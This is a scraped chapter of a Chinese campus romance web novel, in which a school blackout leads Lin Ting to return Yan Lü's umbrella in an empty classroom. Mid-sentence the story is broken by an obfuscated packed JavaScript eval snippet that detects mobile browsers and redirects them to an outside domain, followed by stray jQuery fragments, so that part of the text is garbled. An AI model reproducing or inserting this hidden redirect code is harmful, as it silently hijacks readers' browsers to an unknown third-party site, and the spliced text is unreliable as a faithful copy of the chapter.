34. 34滴水
作品:《温柔海[校园]》 再次见到严律时,是周一的晚自习。
周鸿鹄不知道是不是受了化学老师的影响,也挪用了两节晚自习用来上课。
第二节晚自习刚结束,教室里的灯,忽然全灭了,多媒体也自动关了机。
顿时,教室里惊呼一片,或者说,整个教学楼都传来了惊呼声。
当然了,害怕居少,更多的是兴奋!
因为,黑灯瞎火的,终于不用上课了!
周围吵吵嚷嚷的,同学们摸黑也要交头接耳。
“停电了?”
“卧槽真停了!”
“太好了,不用上课了!”
“……”
忽然,一抹光束亮起,是周鸿鹄用手机开了手电筒,他拍了拍讲桌,声音严肃:“安静!”
“吵什么吵,一个个的没见过停电啊?”
顿时,6班鸦雀无声,只能听着别的班的欢呼雀跃声传进来,挠得耳朵痒痒的。
“既然停电了,大家都先好好呆着,就我们班吵吵闹闹的,像什么话。”
众人敢怒不敢言:“……”
别的班都吵成那样了,您是听不见吗!
过了会儿,隔壁班传来了整齐的歌声,应当是他们老师组织的。
见状,周鸿鹄坐不住了,他拍了拍手道:“来来来,我们班也搞搞活动。”
就在大家一双双眼睛期待地看向他的时候,他说:“来个小组讨论,前后左右4个人一组,讨论一下以后想上什么大学,去哪里上大学,畅所欲言哈!”
“……”
众人很给面子地组好队,只不过大多数谈论的不是上什么大学,而是自由地聊着各种天。
过了十分钟,电还是没来。
周鸿鹄道:“大家先在教室待一会儿,我去问一下情况,我回来之前不准早退。”
黑暗中,仅仅有两束手电筒的灯光直射在天花板上用来照明,带了手机的同学此刻也不敢拿出来,毕竟这么黑,那点亮光一抓一个准!
周鸿鹄又道:“班长和纪委在这儿管一下纪律。”
“林听,你找个人跟我去杂物室拿几根蜡烛应下急。”
“好。”
林听刚站起来,还没来得及问谁愿意去,就看到后头,张一帆举起手,往这个方向走了过来,“我跟你去呗!”
林听诧异点头。
她心想,张一帆最近还挺积极的。
两个人跟在周鸿鹄身后,迫于老师的威压,没有谁开口交谈。
下楼梯的时候,周鸿鹄特地把手电筒的灯光往后照,以防跟在后面的两个学生看不清路。
学校晚自习停电不是什么稀奇事,所以办公楼的杂物间里还留有很久之前用剩下的蜡烛。
林听去旁边找了个空塑料袋过来装。
张一帆将箱子打开,灰尘在手电筒的光束中起起伏伏。
林听正要伸手去碰蜡烛,他抢先撸起袖子道:“这个放很久了,灰大,还是我来拿吧!”
说着,他抓了一把蜡烛往袋子里塞。
周鸿鹄将钥匙还给后勤老师后,刚进来就听见张一帆这句话,顿时深感欣慰。
刚想说话,身后便传来一阵杂沓的脚步声,有人招呼道:“周老师!”
他回头,“诶,丁老师,你也带学生来拿蜡烛?”
“是啊,我就随便拿两根。晚自习只剩最后一节了,本想着干脆让孩子们回寝室休息,但主任那边又没通知,我也不好带头破这个例!”
后面的话,林听没注意听。
因为张一帆拿蜡烛的空隙问她:“那个……刚刚小组讨论,你说的是想去哪里上大学啊?”
林听有些讶异:“你问我吗?”
张一帆的视线落在蜡烛上,“嗯嗯。”
“我挺想去云清市的。”
他问:“为什么啊?”
林听以为他只是随口一问,所以回答得也很随意。
“想去有海的城市,看日出。”
众所周知,云清是个很美的沿海城市,不光经济发达,岛屿、灯塔、岩礁、花卉,还有裹着海风的街道,处处皆是美景。
张一帆若有所思地“哦”了声,“我也觉得云清市很好,那……”
霎时,身后的动静,打断了他的话。
周鸿鹄:“来,蜡烛在那边,我们班两个学生也差不多拿好了!”
林听回头,昏暗的手电筒灯光下,杂物间门口,她看到周鸿鹄旁边还站着位女老师,四十来岁的样子,盘着低马尾,干练十足。
而视线里,严律和另一名男生,正朝这边走来。
他今天才回校吗?
严律也没想到会在这里碰见林听,短暂的愣神过后,在捕捉到蹲在她身旁拿蜡烛的张一帆后,他神情微凝,目光愈渐发沉……
旁边男生善意问:“同学,你们好了吗?”
张一帆起身让出空位,好让他们过来,“好了!”
男生:“多谢!”
光线太暗,林听看不清严律的表情,她手里骤然一轻,塑料袋被张一帆接过了。
张一帆正低头看她:“林听,我们走吧。”
林听心不在焉地点了下头,“好。”
张一帆没察觉到有什么异样,自顾自往前走。
狭窄的过道里,经过严律身边时,林听放缓了脚步。
她忽而轻声道:“待会儿下晚自习,你可以晚点走吗?”
严律垂在暗处的指尖曲了曲,看向她的那双眸子里还印着一旁照明的微光,一闪一闪的。
林听解释:“你的伞还在我这里,我拿给你。”
他点头,“嗯,好。”
-
回到班上,将拿来的蜡烛点燃,班长主动起身将教室的玻璃窗全部推开通风。
教室里闪烁着一点一点的暖光,火苗偶尔随着外头钻进来的微风摇曳,有同学说此刻如同处于一片炽热的星海里,也有同学调侃这是具有年代感的“灵堂版”教室。
这会儿,大家都异常兴奋,毕竟在枯燥乏味的学习生活中,晚自习的停电足以让众人觉得新奇好玩。
周鸿鹄刚刚得到消息,停电原因是变压器出现了故障,学校里已经找师傅来修了,预计一小时就来电,停电时间短,学校考虑到经济成本问题,便没有启动发电机。
这会儿,大家依旧借着小组讨论各自谈天谈地,周鸿鹄站在讲台上,看在停电的份儿上,也就睁一只眼闭一只眼了。
不知不觉间,晚自习终于结束!
顿时,各班骚动。
周鸿鹄让班长负责把没点完的蜡烛重新收起来。
为了防止混乱,各班陆续排队出门、依次下楼。
因为6班在第一教学楼4楼的最东边,所以被排在很后面,要等前头的班都走了才能动作。
焦虑着等了很久,几乎到了末尾,终于轮到他们班走。
林听急忙将那把黑色雨伞从抽屉里拿出来,出门后就往第二教学楼的方向跑去了。
现在离下课时间已经过去很久了,严律不知道还在不在等她……
穿过两栋楼之间的连廊,到达第二教学楼时,余留的同学已然不多,因为停电,一路黑灯瞎火的,幸好有月光,不至于看不清。
这会儿,要走的班早就走了,走廊里空空的。
眼见着就快到高二1班,林听有些紧张地停了下来,双手撑在膝盖上,缓了一会儿。
刚才跑得太急,肚子左侧有些疼。
过了几十秒,她直起身,踏着步子往前走,每往前一步,心中隐含的忐忑就多一分。
他还在等她吗?
1班教室前门没关,林听刚走近,视线就瞥见了最里面靠窗的那组,斜对角,玻璃窗旁的桌角亮着一盏小台灯。
空荡的教室里,仅有位少年趴在桌子上小憩,他的下半张脸都埋在修长的臂弯里,灯光在他浅露的眉眼间落下一层温柔的阴影。
是严律,他似乎睡着了。
林听下意识,轻手轻脚地走了进去。
走至他身旁,林听抬手,想把他叫醒,手停在半空,又有些犹豫。
想了想,她反坐在严律前排那个人的位置上,手里掐着折叠伞,静静地等了一会儿。
安静的空间里,林听似乎都能听见他浅薄平稳的呼吸声。
本想把手里的伞放在旁边的桌子上,但抬手时,伞柄不小心磕到了桌沿,清脆的一声“噔”,她睁大眼睛,心扑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421910|183575||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
通扑通跳了起来。
响亮的声音顿时惊醒了他。
借着台灯的光,林听恰好看到严律睁开了眼,头微偏了偏,而后目光锁定在她的脸上,又落进了她的眼睛里,久久未移半分。
他神色间有些恍惚,像是在确定,此刻是现实还是梦境。
林听被那种目光,看得呼吸有些发紧。
他没再趴着,直起腰,神色间看起来依旧疲倦,开口时嗓音也带着刚睡醒的低哑,“你什么时候来的?”
林听快速回答:“就刚刚。”
她有些抱歉:“你等很久了吧。”
他摇头:“不久。”
林听解释:“学校里组织陆续出门的时候,我班上被排在很后面,所以——”
严律轻道:“我知道的。”
想到了来这的目的,林听立马将伞递给他,“对了,这个还给你!”
严律的目光在她脸上稍停,伸手接过,随手塞进抽屉,“嗯。”
此刻教室只有他们两个人,台灯的冷白光芒将两人的影子拉长、双双投射在侧边墙壁上,整个空间都弥漫着一股难以言说的静谧氛围。
太过于安静了。
盯着灯影,林听试图找些话说,“我…上回来找你还伞,但你同学说你请假了,是有什么事情吗?”
这句话问出来后,林听明显察觉到他身上的气压变低,像堆满了铅灰色云朵的天空。
严律只是往窗外看了一眼,随即垂下眸,答得避重就轻:“家里发生了一些事情,”他停住,再次开口的声音是尤为低闷的,“不好的事。”
林听呼吸一顿,看着他。
“那……”
她动了动唇,安慰的话却不知道该怎么说,脑子里也找不到合适的词。
她第一次觉得,自己的嘴,怎么那么笨。
良久,严律首先挪动椅子站了起来,起身时,他敞开的校服外套上的金属拉链头撞上了桌身,发出的“叮叮”声在这寂静的空间中尤为突出。
他敛去情绪,勉强弯唇,抬手轻轻地点了点林听的发顶,温言道:“好了,回去休息吧。”
言外之意,他并不想多提。
霎时,林听浑身一僵,呆呆地从位置上站起来……
这个动作于她而言,太过亲昵。
她想,如果是别的男生碰她的头,她肯定会生气。
但这个人是严律,她只觉得连耳朵都在发烫,心也是。
“噢。”
走之前,严律弯腰,将桌角放置的小台灯拿了起来。
光晕随着他的动作而移动,照亮了林听身前的过道,他依旧确认般地问她:“看得清吗?”
林听点头,“看得清。”
严律没再说什么。
两人并肩出了教室门,一起走过廊道,而后下楼。
三层楼梯的距离,因为两个人都没有开口说话,显得尤为漫长,脚步声清晰可闻。
男寝和女寝在对角,方向迥异。
踏下最后一节台阶,林听转身看他:“我…回寝室了。”
严律将台灯递给她:“这个你拿着回去吧。”
林听双手接过,台灯底座是温热的,仿佛是他手心的温度。
“谢谢,那我——”
他仿佛知道她要说什么,于是道:“周四我会在第一教学楼值日,你到时候顺便把台灯带给我就成,那天我会早点去。”
她垂眼看灯,心跳得很快,“好。”
走出几步,林听不由自主地停下脚步,回头望去。
却见严律还站在方才的位置,未曾挪动分毫,他的身影几乎融进楼前的黑暗里,连轮廓也带着莫名的孤单。
林听抓紧台灯,闭了闭眼,犹豫了很久,终于下定决心,她喊了声他的名字:“严律。”
“其实……”
“我可以当你的听众。”
所以,不开心的时候,别像现在这样,什么都不说。
话落,她也不敢看他,忐忑地转身,快速往女生宿舍的方向跑去。
她也不知道自己为什么要跑,大约是本能反应吧。
那句话,像隐晦的承诺,藏着她所有的心事与秘密,怕他听懂,又怕他听不懂。